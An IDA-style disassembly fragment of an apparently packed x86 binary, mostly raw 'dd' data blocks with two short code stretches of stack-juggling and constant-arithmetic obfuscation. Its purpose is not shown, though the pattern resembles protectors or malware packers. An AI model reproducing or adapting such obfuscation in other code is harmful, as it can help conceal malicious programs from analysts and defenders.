		dd 45000000h, 52A6C355h, 5D62D3B9h, 0F9958B00h,	6005EA05h
		dd 0BE9h, 2ECB2200h, 8E4FEA81h,	0D8BCEA0h, 2C51B509h, 0B6105EAh
		dd 36840FFFh, 0B6000000h, 663F8B2Ah, 32CF22BEh,	7D958BC0h
		dd 0F305EA31h, 53006AAAh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 3C0A7BEh, 0EA2C7195h
		dd 41493505h, 95295350h, 5EA09DDh, 1A4585C6h, 664705EAh
		dd 0DF68F28Bh, 81D8407Eh, 94D2404h, 6A0496h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 3011BC3h
		dd 3E0E63FAh, 8DB5FFD0h, 8B05EA23h, 0EA25D195h,	0A0858D05h
		dd 8105EDAFh, 57EC48D2h, 66D0FF11h, 899225BEh, 0EA2D1585h
		dd 159D8905h, 0C605EA0Dh, 0EA1A4585h, 12E95305h, 13000000h
		dd 0C5823FF8h, 0E14C5818h, 48095D35h, 0E7D8F0A1h, 3C276813h
		dd 0BE6629DCh, 481406Bh, 0BC2ED524h, 0DA81575Eh, 2D9B0EC8h
		dd 8DB5FF5Ah, 8105EA23h, 0A9FD9DCAh, 4DB58B78h,	8D05EA32h
		dd 0EDAFA085h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 4DBEF46Eh, 8BD0FFFEh
		dd 0EA1469B5h, 71858D05h, 8905ED70h, 0EA1DD19Dh, 99858905h
		dd 8905EA29h, 0EA2079BDh, 6A206A05h, 9995FFFFh,	3505EA29h
		dd 53504149h, 1CD185C7h, 105EAh, 85C70000h, 5EA3115h, 0
		dd 16459589h, 8B5205EAh, 0EA074DB5h, 0F6815A05h, 1F7959ECh
		dd 29F5BD83h, 0F0005EAh, 0B484h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B0AD42Eh
		dd 0EA143185h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 10B9956h, 0A09C1293h
		dd 10E98Ch, 0C11A0000h,	0FD2015C6h, 0AE8FFB44h,	8DB6536Ch
		dd 0A364EA1Eh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 1BC35343h
		dd 536650DDh, 0B82D8FD0h, 999503AEh, 8B05EA1Ch,	0EA2A5185h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0E08BFCAAh, 75BD83F5h, 5EA1Ah, 37F850Fh
		dd 0E6800000h, 4585C659h, 5605EA1Ah, 68F6BF0Fh,	0ABB16347h
		dd 0BF525060h, 194A0680h, 0F08B310Fh, 0F88B585Ah, 24348161h
		dd 2745398h, 1469B589h,	0B5FF05EAh, 5EA238Dh, 32B5B58Bh
		dd 858D05EAh, 5EDAFA0h,	6AD0FFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 76E9AAC3h, 0E85062ACh
		dd 0Bh,	8995AE96h, 0EE5DB842h, 5211F9A9h, 0B0B1BE66h, 4895A5Eh
		dd 91B58924h, 8D05EA2Ch, 0EA32998Dh, 96BE6605h,	506050B1h
		dd 0F525052h, 0F585A31h, 0D38B6631h, 0C2B9585Ah, 615E4B79h
		dd 0B240C89h, 0EA25BD95h, 0F046A05h, 1E80h, 188F0F00h
		dd 0E8000000h, 12h, 0E7989813h,	0DA654353h, 2C2DBBE1h
		dd 2E14FDF0h, 685EFEF4h, 70EE6877h, 77243481h, 6A70EE78h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 9598C352h, 35DDDED3h, 0B9958961h,	6005EA0Bh
		dd 19C5B529h, 0B50105EAh, 5EA0771h, 0A9B5FF61h,	6A05EA30h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 28D4C357h, 973F7317h, 0FDBD8951h,	0FF05EA22h
		dd 53006AD0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0C07CC6A6h, 8B0B57D8h, 0EA30A9BDh, 13E96005h
		dd 16000000h, 0DBEF8B80h, 0B3B3E47Fh, 9B002FD0h, 0EE3E6466h
		dd 0BA666CC4h, 361E202h, 6A3C7Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 4432DFC3h, 52C62406h
		dd 461FA6BEh, 0CD9D897Bh, 8105EA1Eh, 0F8C7h, 8B0F00h, 0C7000000h
		dd 202447h, 6A6000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h, 56460000h, 8F12ECC3h, 0D38B665Fh, 0A56EBD83h
		dd 0F0005F1h, 10D84h, 0DA816600h, 0C7837AAEh, 0E9B58B28h
		dd 0C705EA02h, 696A2E07h, 98B96064h, 8B0B0729h,	0EA30F59Dh
		dd 47C76105h, 61746104h, 0BD295300h, 5EA0BE5h, 76858B5Ah
		dd 6A05F1A5h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 2E99C353h, 0EC8A99E7h,	3B30CD79h
		dd 0F0C4789h, 682h, 69952900h, 8B05EA14h, 0F1A57A85h, 499D8905h
		dd 8905EA2Bh, 95890847h, 5EA2A39h, 0F28C783h, 885h, 2840F00h
		dd 52000000h, 2E07C75Eh, 6A6E6F63h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0E72DC357h
		dd 0B9B58BEEh, 8905EA2Ch, 0EA31418Dh, 447C705h,	676966h
		dd 38F0Fh, 0DE800000h, 72858B81h, 0E805F1A5h, 0Eh, 37F6546Ch
		dd 0EC3325B5h, 0F0AE0B70h, 8D89202Fh, 5EA3111h,	0C47895Eh
		dd 8BF08B66h, 0F1A56E85h, 958B5305h, 5EA17D9h, 847895Ah
		dd 3071B58Bh, 0F95805EAh, 6C18D8Dh, 0BF0F05EAh,	870F50D2h
		dd 11h,	0CE9h, 0AC8F6900h, 9FE6F6A5h, 705306CDh, 240C8928h
		dd 16D5B58Bh, 0B58B05EAh, 5EA1139h, 3299B5FFh, 0BA6605EAh
		dd 0F468401Ch, 0E9F98255h, 11h,	8BA51BB3h, 69A1B392h, 0DB5EC7A1h
		dd 4CD976FCh, 24048130h, 67DBA0Ch, 30CD9531h, 0B5FF05EAh
		dd 5EA30A9h, 0E4A9BE66h, 0B70FD0FFh, 0B8D1h, 958B0000h
		dd 5EA24F9h, 0BF1B70Fh,	59840FC0h, 8B000000h, 0EA291DB5h
		dd 31B5FF05h, 6A05EA12h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 5674C352h, 0E37A7015h
		dd 0F71958Bh, 8E905EAh,	9000000h, 40B3A326h, 0FF870BE7h
		dd 0EA2A1995h, 7E805h, 79080000h, 0A9F8CDB1h, 0F1958B13h
		dd 5E05EA2Fh, 0B50BC08Bh, 5EA1625h, 13D9BD83h, 750005EAh
		dd 0E5BD8309h, 5EA2Eh, 53501974h, 2DB8C08Bh, 89000004h
		dd 0EA076985h, 5C9D8D05h, 0FF05ECDEh, 83585BD3h, 0EA2EE5BDh
		dd 17740005h, 2DB85350h, 89000004h, 0EA076985h,	0FD9D8D05h
		dd 0FF05ECDAh, 0E9585BD3h, 8, 0AEFD4A9h, 995D45D3h, 8E960h
		dd 77670000h, 0CB908055h, 0CB81EBC4h, 1A29F62Fh, 8BC08B61h
		dd 0EA1825B5h, 0EBC08B05h, 0B317CB04h, 4C6E961h, 0B8380000h
		dd 26A95307h, 9AD92377h, 2455AFFBh, 97DB2175h, 9716B0E4h
		dd 9CC86BEFh, 1743F066h, 9CC86FEDh, 1642EF66h, 0A89C2EBCh
		dd 1B1D4813h, 0E86D3E97h, 75BBE549h, 0F5FF5302h, 18BBD786h
		dd 6B3FDC1Eh, 11BD5C91h, 8B27D21Bh, 3AF4E81h, 0C1D6060Ch
		dd 43B9ED8Ch, 0C03A6E11h, 8963D194h, 81175667h,	4DD5A251h
		dd 1DD38D21h, 9E983BDAh, 1D17BB58h, 65185BDCh, 26AFA509h
		dd 0A82D278Bh, 0C6C9A509h, 2D7DA0CCh, 6F0E4D83h, 595E8ECCh
		dd 0CA30641Bh, 0C7AD683h, 1756673Bh, 125B89CBh,	340E3966h
		dd 6996h, 0E86DCF00h, 3F8D1749h, 17566745h, 238320B8h
		dd 56676555h, 0DC39117h, 0EA862AC9h, 96D90B49h,	66C6BE0Ch
		dd 0A1391756h, 39BE4A02h, 0BC5340Eh, 0D5B915C8h, 12F76h
		dd 6D760000h, 0AF430AEAh, 0F28BDA6Ah, 0B738329Eh, 31A0AA06h
		dd 29232C80h, 0DA7BFCBBh, 8BA208Eh, 17572834h, 0E1151F87h
		dd 5E979132h, 9FF3A2D5h, 0ED6D92CBh, 67E8E24Eh,	0FCB21AB6h
		dd 55C70B90h, 60D5AD66h, 92C6AAB1h, 9BE8D53Ch, 1C9C9053h
		dd 0F75438D9h, 71DD7CF1h, 0E945F87Bh, 5CA9DB95h, 340F129Ch
		dd 0ADE8h, 0ED6DB100h, 9BDE104Eh, 9D3E52FEh, 11C4373Dh
		dd 0A150814Fh, 2AA8A202h, 0AC2F2589h, 4D0FA509h, 0FBF1FE1Fh
		dd 4EFC6689h, 17566776h, 0F4F251C9h, 7B81D586h,	0E2E844F7h
		dd 8536A46Fh, 0C55EB7E9h, 568F7460h, 3A309033h,	0A0AA06B3h
		dd 2F208C2Dh, 0FA86B725h, 0B88C3EA4h, 0B1756F5h, 2723093h
		dd 0ECDFDFBh, 780934h, 6D500000h, 70830FEDh, 23238B2Ah
		dd 54BDE34Fh, 212C8C9Dh, 7349FB77h, 0C61756CCh,	0DE6C325Eh
		dd 1756CBE6h, 6462C159h, 0CFEB47F8h, 26546391h,	77E52B75h
		dd 0A3006CC0h, 0D9BC55FBh, 0F6B3308Ah, 6804BB39h, 0EA6D6ECBh
		dd 66F1CB79h, 0DC441756h, 956A1CB0h, 0AD175667h, 0A46A7DEFh
		dd 6A228132h, 340E399Eh, 11EEh,	14A94000h, 7401FF87h, 0BD981488h
		dd 8AE6F854h, 0EE6D8C29h, 73BDE34Fh, 5B63801h, 0AA9C569h
		dd 8428C90Ch, 52E07AD4h, 1756675Ah, 0D49635ADh,	3DE013A8h
		dd 0C409C769h, 66B3B615h, 6C73C19Fh, 0F612BC44h, 41E6DE6Ch
		dd 0C159116Ch, 2D811962h, 9A39BD73h, 1CB06190h,	0A0D5D370h
		dd 165FA5F1h, 4789D77Bh, 0D0422315h, 34A04695h,	0B181FB58h
		dd 53116BFEh, 95D8DF0Dh, 34AB0E4h, 7DF0FA56h, 0A4C82DCh
		dd 0A3A9C569h, 4C208C2Fh, 0A9E74FEFh, 58F97C3Bh, 0D0D0B80Ch
		dd 0F63C2E23h, 65000000h, 6710D039h, 0D1F739B9h, 5B227772h
		dd 5A20B705h, 4BD312BDh, 62AAFC15h, 7C28EA27h, 757FDFh
		dd 0BD11C437h, 2DE3BDD1h, 0F0A80BAAh, 0BA16C30Ah, 309C3DB0h
		dd 45A6D698h, 247AD5ACh, 0BB18BF70h, 0CD9938BDh, 24EF8F79h
		dd 34FF2Eh, 6EA60000h, 0F6CE7C27h, 49175666h, 79E3BDD1h
		dd 3F9C3FB7h, 56679F45h, 0A60A9217h, 5666DCD0h,	44B0F217h
		dd 1A443174h
		dd 566704A8h, 3B6FF717h, 741Ah,	1B6E4300h, 10F51C42h, 2261FBD2h
		dd 0EA580AA9h, 12BC5C99h, 0C69834ACh, 0B85D925Ch, 6C59F6CEh
		dd 0DBD14911h, 2549E598h, 0AC4D8086h, 2ECB02F8h, 9A37BE70h
		dd 59F95A36h, 0D48BC907h, 5A000D77h, 82DC116Ch,	61104552h
		dd 26559B35h, 80633936h, 8BE7141Bh, 1DC2D28h, 114FED5Fh
		dd 0BA220CBDh, 38D91C16h, 0A7AC494h, 0FCA27B8Eh, 0CB64AE4Eh
		dd 4D198106h, 241B6E14h, 0A4AE02B3h, 0B4EA8637h, 56672E06h
		dd 75198117h, 0CBDB992Bh, 36AE12A7h, 0BC5D909Ah, 3EDB12E8h
		dd 166DE492h, 0EE616D23h, 65E9E34Fh, 603E1AB6h,	0C4CEC1F4h
		dd 2FCA0398h, 0AD4C817Bh, 2BC60B01h, 0FB69D787h, 0CC9839BCh
		dd 0E7A98B62h, 0EBC173h, 0C65EAD22h, 3CEF9AEBh,	0A554999Fh
		dd 12C135FBh, 96D8D2BEh, 37E646E5h, 3, 6DA5086Eh, 929834EBh
		dd 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h
		dd 848E22CFh, 0AA657h, 0E9822ECFh, 8904EC83h, 3668241Ch
		dd 89000049h, 89562414h, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 241C895Ch, 8904EC83h, 8DB82404h, 0BA08FB6Dh,	0D0AC0D8h
		dd 6858C231h, 4109h, 83242489h,	5B042404h, 8B951h, 0D9010000h
		dd 89D58955h, 8B595D29h, 8950241Ch, 405E0h, 4050000h, 87000000h
		dd 8B5C2404h, 89572414h, 4C781E7h, 83000000h, 3C8704C7h
		dd 63E95C24h, 7BFFF8CCh, 4ACAF671h, 0F1B197B8h,	0FFC50305h
		dd 461C2E0h, 871A251Eh,	0D4921A4Fh, 0D49CDB08h,	65927848h
		dd 0B864C55Eh, 612E4634h, 0D2692207h, 0B3346B06h, 80F9531h
		dd 1B9C4408h, 0E256D372h, 2E0DDF2Ah, 837F0946h,	850EBA05h
		dd 0CD8EA93Ch, 0ABD94D0Fh, 38AFAF7Dh, 0CD729414h, 0D497E267h
		dd 49C8576Fh, 0DD2BF560h, 6AD52D41h, 1256F610h,	0DAC59E34h
		dd 4C09371h, 35736126h,	0D95CE06Bh, 9B5A831Ch, 0FA1AF817h
		dd 0C02E0F3Ah, 9A8D8D56h, 6A05F1B3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7BC1C351h
		dd 9E954A4h, 7B000000h,	55183889h, 5BE0C92Bh, 0ADD8D89h
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 1C609DC3h, 0F0B87F7Fh, 8D0F0FC9h,	6, 2EFD8589h
		dd 85C705EAh, 5EA0ACDh,	6C1Ch, 2FF99589h, 85C705EAh, 5EA25F5h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 94C35343h
		dd 2DF557E2h, 0E8939EF6h, 10h, 41A00700h, 0AAB49343h, 4DD4D7ADh
		dd 0C7C7902Ch, 58F3BF0Fh, 1BC9B5FFh, 6A05EAh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 80C02C3h
		dd 5A7ABF66h, 2A1995FFh, 958905EAh, 5EA31ADh, 95FF006Ah
		dd 5EA1015h, 38EBC08Bh,	7F480798h, 1451B5CBh, 2183D7E2h
		dd 57875F4Fh, 35593300h, 0E0E1B1C5h, 27530B03h,	42C7652Eh
		dd 0F1DDC296h, 5B6EFD72h, 10221DBFh, 48DE44CAh,	12A0627Ch
		dd 658070DBh, 88F404EBh, 62E93E1Dh, 8F000005h, 38C29649h
		dd 0A85206B7h, 24DE8A2Bh, 0AA5004B5h, 79DF8B28h, 0AB488AF8h
		dd 22D105FFh, 0AF508C76h, 2DCC01FBh, 0F341D379h, 1D4819F9h
		dd 509EC04Ch, 0B1DD7122h, 238033BBh, 49E86D86h,	0E594D917h
		dd 6C0F4349h, 903A300h,	0EE742AC9h, 5667685Ch, 0E043DB17h
		dd 80B42B8h, 0B2B814C5h, 98F4983Dh, 0C6292FC6h,	548C8C80h
		dd 185D57F7h, 118BD579h, 5731C9A3h, 75E53C17h, 2192C494h
		dd 0B7B1127Eh, 3E319D40h, 7AF3C834h, 0A91B81DFh, 17567ED3h
		dd 7EC7BD0Fh, 0A23A1756h, 0B6EE4DD5h, 0CA09104Ch, 0B5EB872Bh
		dd 567F2D07h, 74188017h, 12408E20h, 98C4C261h, 0D414BE7h
		dd 6BD9306Eh, 7C9FE61Eh, 7C2C8C2Fh, 3CDD1CD2h, 1D5FFC90h
		dd 0ED2CA8EFh, 0F63CF6Eh, 88CD3763h, 3C3345E9h,	0CA1756D4h
		dd 67115C88h, 97340EA6h, 52h, 49E86DCEh, 0E594D917h, 0A290E646h
		dd 54175666h, 4B85E616h, 0BDF55609h, 340E38CBh,	13Bh, 0EA6D6200h
		dd 6AEDE74Bh, 0EC6D67CBh, 5DF1A42Bh, 7B23B31h, 0F5ABC7ABh
		dd 0A704B73Bh, 0D2020807h, 0B7E392C5h, 3769084Dh, 0BA1A13DEh
		dd 5DFE1156h, 0F7395C05h, 853ABA7Fh, 0A4F45E9h,	0C3AFC36Fh
		dd 47F46660h, 0F67BB5EBh, 79FEF85Bh, 8EC068C4h,	7A19595Eh
		dd 0ADB6CD24h, 693E8105h, 0E24EF163h, 8F752D8Eh, 0D07AB46h
		dd 0FF832FCEh, 3E3A43B1h, 45340E70h, 444975ACh,	0B5161DCAh
		dd 79ECh, 0ED6DB500h, 6BE8E24Eh, 736966CAh, 67615BE9h
		dd 4CD41756h, 783FADEFh, 0F70D59FAh, 408ED083h,	0A0CC6011h
		dd 67784CFEh, 53CB1756h, 175A50F0h, 0E4AAD67Ah,	3F8B6D78h
		dd 5CFB340Eh, 0A2000000h, 0D37EF739h, 31047670h, 9FB21EBDh
		dd 0C6262497h, 563A56FBh, 4C209208h, 0BF1756C9h, 2E248427h
		dd 81A509AEh, 2CD301CFh, 0D4FEC80h, 9F9AD8DFh, 7A16BA5Dh
		dd 3D510270h, 0A3393069h, 56671B11h, 55F66E17h,	0D5791C53h
		dd 5666CCA3h, 0CC387A17h, 0E38F781h, 10734h, 6D5E0000h
		dd 0DF114FEEh, 3A56FA9Dh, 0B013C430h, 26D31A10h, 0F864DA8Ah
		dd 0D98D30A3h, 655FED77h, 0D8175667h, 0AE02AF26h, 80DAEC2h
		dd 0C87A2401h, 12BC43E7h, 306EC25Ah, 7BD87DFEh,	0B518F87Dh
		dd 1EBD1C20h, 694CA11Ch, 80731A44h, 6E02AE4Fh, 0FE306E02h
		dd 227AD97Eh, 6C11428Ch, 0D584C9CFh, 0C3B0F79h,	85F7116Ch
		dd 8747ED2h, 15ABFB57h,	0CC92B6E7h, 27D21BA0h, 0D4448973h
		dd 0EA2011Fh, 7AC89624h, 116BDA82h, 0AD016DF5h,	71E52EA7h
		dd 6E026EC2h, 0B8246AC2h, 91CF6AE3h, 0D9C3B90Bh, 0AE36116Bh
		dd 17E1550Dh, 6C2E23ACh, 208C31A2h, 47B6EF4Ch, 0EF000001h
		dd 1C421B6Eh, 0BC7439AEh, 880CE512h, 6A822115h,	68F08B28h
		dd 0D879F836h, 9CD1DB7Bh, 1A53A9FDh, 6AEF217Fh,	0E86963CFh
		dd 0E589E549h, 69ECE646h, 155896C8h, 4F23D002h,	0AAE44CECh
		dd 1B3293Ah, 116BB42Bh,	0B42F05B7h, 1A82116Bh, 5056F56Dh
		dd 86287C1Dh, 0B3D6AE1Ch, 2554116Bh, 389B0374h,	23868870h
		dd 48F42Eh, 0B35A0000h,	0BD810A3Eh, 43E64543h, 104E276Eh
		dd 5666FAA2h, 0F414CD17h, 19D1C550h, 70CA9978h,	0C3AF6463h
		dd 7F7503AFh, 2F175643h, 22ECFF6Dh, 0AAA00CB1h,	0B81B7724h
		dd 0C39D78BDh, 5643AB71h, 52069E17h, 9573h, 1B6E2A00h
		dd 9DD21C42h, 0D5B95E9Eh, 25962476h, 5812BC45h,	0FC90D581h
		dd 141750BAh, 2150A7B0h, 56FA96FAh, 2678195Ch, 0BF360EBCh
		dd 1189116Bh, 0DD10EAB2h, 0A38B623Ch, 3A1D0AE4h, 0A8F656F5h
		dd 0EF43F066h, 2B5A2083h, 89116BC9h, 8C42A5D7h,	0D0BA849h
		dd 847D29C8h, 44F6A875h, 0CBD371Bh, 84DA76EEh, 61698A6Dh
		dd 63C05B3Ah, 0ED41F065h, 0C9D103BDh, 8F65D7C0h, 0E20B7A64h
		dd 0FA48167Ah, 6CBD2ADh, 5C765980h, 5FE6FCDDh, 0E86F74ECh
		dd 26E026Bh, 1B6E0F56h,	81AE1C42h, 7412A7D5h, 0D01E40ECh
		dd 0A5589B9Eh, 0AA096509h, 0D68829ACh, 983BDC18h, 6B33AC0h
		dd 0A433DCAAh, 0A4BE26C8h, 0E64AE76Ah, 0F96B298Ah, 0DA8E2BA2h
		dd 8633BA74h, 0E3E5462Ah, 6963CF6Ah, 0F4A72FE8h, 0F4583458h
		dd 0ADEA1AA4h, 27DD8928h, 7EAF03AEh, 0Ch, 15D03927h, 7BCDBC72h
		dd 0E04D2E8Dh, 9834EB6Dh, 12BE5B92h, 973BDC18h,	16BA599Dh
		dd 913DDE1Ch, 8A4579Bh,	8E22CF02h, 0AA65784h, 822ECF00h
		dd 0E78957E9h, 4C781h, 0EF810000h, 4, 5C243C87h, 53241489h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h,	182E6824h
		dd 4890000h, 0C3BF5724h, 0C16D6D36h, 814705E7h,	0E87AB0E7h
		dd 55DFF72Bh, 283F70BDh, 9FC5816Fh, 0F72F8563h,	4EDC1DDh
		dd 29CDF581h, 0EF012987h, 5FFB895Dh, 711E68h, 24248900h
		dd 4240481h, 58000000h,	8B951h,	0C1010000h, 89DF8957h
		dd 8B595F39h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dd 6634706Fh, 0E98D638Fh, 0F4352E37h, 0B890B8DFh, 0C50305F1h
		dd 3276E0FFh, 0A77C7CCCh, 0BD90779Bh, 5EB73421h, 926C1E2Eh
		dd 0B74A0554h, 9D4A7FD9h, 8F585446h, 6F2E0C77h,	333075F9h
		dd 9B524AEAh, 3CD31B4Ah, 0FF2D3C99h, 94343DFCh,	580D5864h
		dd 33732845h, 0DE81AB3h, 0E7000000h, 0AF7510D3h, 0C93A870Ch
		dd 20F2BDB1h, 5859F550h, 81FABF0Fh, 619EC0h, 0BE96000h
		dd 88000000h, 5239227Ch, 245ABF22h, 61F5F39Ah, 0CF81F633h
		dd 6CCF6054h, 5B0634FFh, 81CE8B66h, 0BC49C4C3h,	0C88B6644h
		dd 6F6AEB81h, 0FE944E2h, 5A000000h, 5E9D0021h, 7B10B9D1h
		dd 8F10ED05h, 0C381116Dh, 377F92A5h, 830F5360h,	0
		dd 0DB816658h, 89615C72h, 820F301Ch, 7,	0C2816656h, 835F44F6h
		dd 0AE903EEh, 12000000h, 58C5C26Eh, 4F285CF3h, 0CA804E5Ch
		dd 10FE81A0h, 0FFFFF9Fh, 0FFFF8F85h, 7E9FFh, 94A70000h
		dd 1EB1D83Ah, 0E904EBE6h, 0E94A42A3h, 532h, 5D09AE22h
		dd 0D98D30A7h, 590DB023h, 0D7832EA3h, 5A0EAD2Dh, 0D1017DFCh
		dd 4A8C7622h, 0D507FDA9h, 498C7622h, 0C456FCA8h, 48217E76h
		dd 0D47DF11Dh, 0C97BE86Dh, 175666F3h, 8D1C9F46h, 54FCA2BFh
		dd 900A5438h, 0D37F1C5Eh, 19F3C9BFh, 0DD6F1757h, 175719E7h
		dd 2DB5C25Ah, 0B6242E8Eh, 22AB5105h, 9CD1DB77h,	145B51FDh
		dd 0C8C2CD61h, 3BD61F9Ch, 0B067956Fh, 39DE1EE4h, 0A4579F95h
		dd 38F65808h, 0E0361BBCh, 667BE9EAh, 6763497h, 0C89C43B1h
		dd 0B21EBB32h, 569DF3C4h, 13410317h, 0E703ECAh,	58AC4534h
		dd 334AB1FCh, 860A53F0h, 0A4000000h, 29A6D73Eh,	34394E11h
		dd 56876A42h, 0C577DD17h, 175686EFh, 15B6DA42h,	80F739B0h
		dd 0EB8732BBh, 8E882B47h, 7006AA47h, 17566782h,	7F86F6B4h
		dd 340E3989h, 1F5h, 0EA6DAC00h,	0E86EAF2Dh, 0E74B274Bh
		dd 568A6AEDh, 89117FA3h, 983BB3B9h, 0C80658F4h,	4E48EB8Ch
		dd 0AA306E0Bh, 57362418h, 510F9717h, 573609E3h,	47E47C17h
		dd 72E2E8E7h, 5D03B225h, 3FCCB1B4h, 662805B8h, 0F9A102EBh
		dd 7B2FCA03h, 4EED6D22h, 0B667E8E2h, 90FCB21Ah,	4014C70Bh
		dd 2A8633BAh, 0AE02B320h, 65709CD2h, 340E3F83h,	12BF36F8h
		dd 2871D2BEh, 72h, 28ED6D71h, 0C9A509AAh, 0D361FBA5h, 175666D9h
		dd 0D37F1E51h, 0F350C8BFh, 7B1A5953h, 0A2D2D8D7h, 94478F41h
		dd 0F1F75438h, 428CD281h, 2BCC080Bh, 2487EB87h,	0A754867Ch
		dd 21D0010Bh, 4DBFF18Dh, 0E3F6800h, 489434h, 6DCD0000h
		dd 0E8E24EEDh, 4367CB6Ch, 32FCEF1Dh, 0F3411FBCh, 175666F9h
		dd 7177D44Ch, 960C5201h, 56675024h, 983BA317h, 0EA6D99C0h
		dd 0ADFC154Bh, 46E82C07h, 0F5832380h, 17567C02h, 0FB027230h
		dd 340E4E0Dh, 179h, 0EE6D2000h,	9CDF114Fh, 0B90B55F9h
		dd 175666C3h, 61C2AE36h, 0EA769FC1h, 8CA15393h,	89CCCA69h
		dd 9E2CB6E8h, 175719A6h, 3CAC8119h, 6609DC0h, 7929892Ah
		dd 0D50695C7h, 7C8D7420h, 6A4DFFA1h, 0DD12BC98h, 6AE3E945h
		dd 4F7891CFh, 8DBCDA66h, 55AFF754h, 0ABDD7120h,	116D4AD7h
		dd 0C965185Bh, 40EC8FC3h, 1F3EAE10h, 0A0F7653Bh, 22D88C2Dh
		dd 0CA500EABh, 6D4B8478h, 0CC6FF711h, 70EF666Ch, 6D4AEAC2h
		dd 0A9C55D11h, 79651EF7h, 0F15D0073h, 32F0B09Dh, 0B238B598h
		dd 78539683h, 9DD37BDBh, 0F4A5286Fh, 0AA8230AAh, 1D116CF0h
		dd 0CA7E2685h, 2E24C33Eh, 1634Eh, 0A3391700h, 56671B11h
		dd 3FDA1317h, 7688FF93h, 133E52FFh, 0E2B7750Ch,	32379456h
		dd 0F2401EE7h, 12BCFB5Dh, 8E6CEE10h, 1123C68Ah,	79D5B985h
		dd 0E9277915h, 0B717B46Bh, 0C79938BDh, 0B516C509h, 33DE17EDh
		dd 8F2AA36Dh, 4F868C2Ch, 0F8A60EA2h, 0BA16C336h, 0C53775D6h
		dd 52E07FF6h, 116D425Ah, 86F1A2D0h, 8826721Eh, 7AD69F61h
		dd 0CD6E26A6h, 2457F385h, 31032Eh, 6E5A0000h, 0A2104E27h
		dd 175666FAh, 8FF955CDh, 175665B5h, 0A4987D5h, 4DEC616Bh
		dd 6C2E8DE1h, 907DB800h, 66B87CCEh, 138B1756h, 0BA6647h
		dd 6E3F0000h, 0AE1C421Bh, 12BC455Dh, 0AEA40890h, 70DE8A27h
		dd 93993EBEh, 1D1BB85Bh, 0A96739D8h, 77D7742Bh,	6C42F401h
		dd 509ED011h, 0A07E3323h, 0D4B40E41h, 0DB7814B8h, 0A92C6B99h
		dd 56985608h, 0A75E06A5h, 3CD58B52h, 971C4BBDh,	1D23ADFh
		dd 4A30803Bh, 9AA2C26h,	386AC9A5h, 0B28A38A2h, 5116B8Dh
		dd 0B265979Dh, 0ABD1721Eh, 0CBD0413h, 0DCD67AE2h, 0EE37B999h
		dd 0C7B1FE92h, 52F61727h, 48167A40h, 79DE02FAh,	81ED750Bh
		dd 0FDF745DFh, 700B79DDh, 0CF6CE2E8h, 229CCC6Ch, 0B12BB1B2h
		dd 79DE2903h, 72049C0Bh, 0B79DE7Ah, 0F3F655CDh,	3381DFA6h
		dd 6CB547Bh, 0DF86D24Ah, 1C421B6Eh, 0A7DD18AEh,	303EE712h
		dd 2509990Bh, 16C90B01h, 99DCD67Ah, 1F56ACF8h, 0B0C52C72h
		dd 65951B4Ah, 207EDE7Dh, 64C86DEEh, 2DD20208h, 7711F48Eh
		dd 525852F4h, 0B1609522h, 54854BE5h, 0CD0006A5h, 478A802Ch
		dd 0E85606AAh, 7DB63F7Ch, 67335FFEh, 15B9589Dh,	15C4h
		dd 42F06A00h, 0C1B2476Ah, 0A91B45DDh, 0C1B246D3h, 0B81DBE26h
		dd 0EB6DA508h, 5B929834h, 0DC1812BEh, 599D973Bh, 0DE1C16BAh
		dd 579B913Dh, 0CF0208A4h, 57848E22h, 0CF000AA6h, 56E9822Eh
		dd 0C681E689h, 4, 4EE81h, 34870000h, 4895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	58E6h
		mov	[esp], edx
		push	edi
		mov	edi, 420F3E65h
		mov	eax, 4800F8B4h
		add	eax, 2E966187h
		sub	eax, edi
		sub	eax, 2E966187h
		pop	edi
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 8
		add	ebx, edx
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		mov	[ecx], eax
		pop	ecx
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
